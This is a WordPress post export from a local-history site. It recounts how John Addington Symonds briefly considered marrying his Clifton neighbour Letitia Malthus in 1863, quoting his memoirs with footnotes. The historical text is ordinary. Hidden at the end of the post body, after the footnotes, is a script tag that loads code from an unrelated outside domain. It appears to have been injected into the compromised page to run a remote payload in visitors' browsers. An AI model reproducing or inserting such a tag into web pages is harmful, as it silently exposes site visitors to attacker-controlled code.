{"id":684,"date":"2014-08-31T17:57:40","date_gmt":"2014-08-31T17:57:40","guid":{"rendered":"http:\/\/watsonian.co.uk\/symonds\/?p=684"},"modified":"2022-08-14T16:01:58","modified_gmt":"2022-08-14T16:01:58","slug":"letitia-malthus","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=684","title":{"rendered":"Letitia Malthus"},"content":{"rendered":"<p><strong>2 Bellevue, Clifton,\u00a0BS8 1DA<\/strong><\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-684 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=944'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/08\/102_0690-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" \/><\/a>\n\t\t\t<\/dt><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n<p>In April 1863, marriage was on Symonds&#8217; mind. Believing that\u00a0his attraction to men\u00a0might be trained into a more conventional feeling for women, he flirted\u00a0with the idea of engagement\u00a0to a neighbour, Letitia Morrison Malthus:<\/p>\n<p>&#8220;I dreamed for four weeks that I should like \u2014 might like \u2014 could probably come to like, to marry her. The accent of the diary is, nevertheless, quite different in all that concerns her from its pregnant uncouth confidence about Alfred Brooke. I, the good boy, was then undoubtedly endeavoring to fall in love with a girl, and very proud of myself when I thought I had achieved that object.&#8221;<sup><a href=\"#footnote_0_684\" id=\"identifier_0_684\" class=\"footnote-link footnote-identifier-link\" title=\"Phyllis Grosskurth (ed.), The Memoirs of John Addington Symonds, Hutchinson (1984), p.136\">1<\/a><\/sup><\/p>\n<p>Despite going so far as to interest Malthus&#8217;s parents, no engagement took place, and Symonds recorded that Letitia left his diaries as quickly as she had entered them.<sup><a href=\"#footnote_1_684\" id=\"identifier_1_684\" class=\"footnote-link footnote-identifier-link\" title=\"Grosskurth, p.137\">2<\/a><\/sup><\/p>\n<ol class=\"footnotes\"><li id=\"footnote_0_684\" class=\"footnote\">Phyllis Grosskurth (ed.), The Memoirs of John Addington Symonds, Hutchinson (1984), p.136 [<a href=\"#identifier_0_684\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_1_684\" class=\"footnote\">Grosskurth, p.137 [<a href=\"#identifier_1_684\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>2 Bellevue, Clifton,\u00a0BS8 1DA In April 1863, marriage was on Symonds&#8217; mind. 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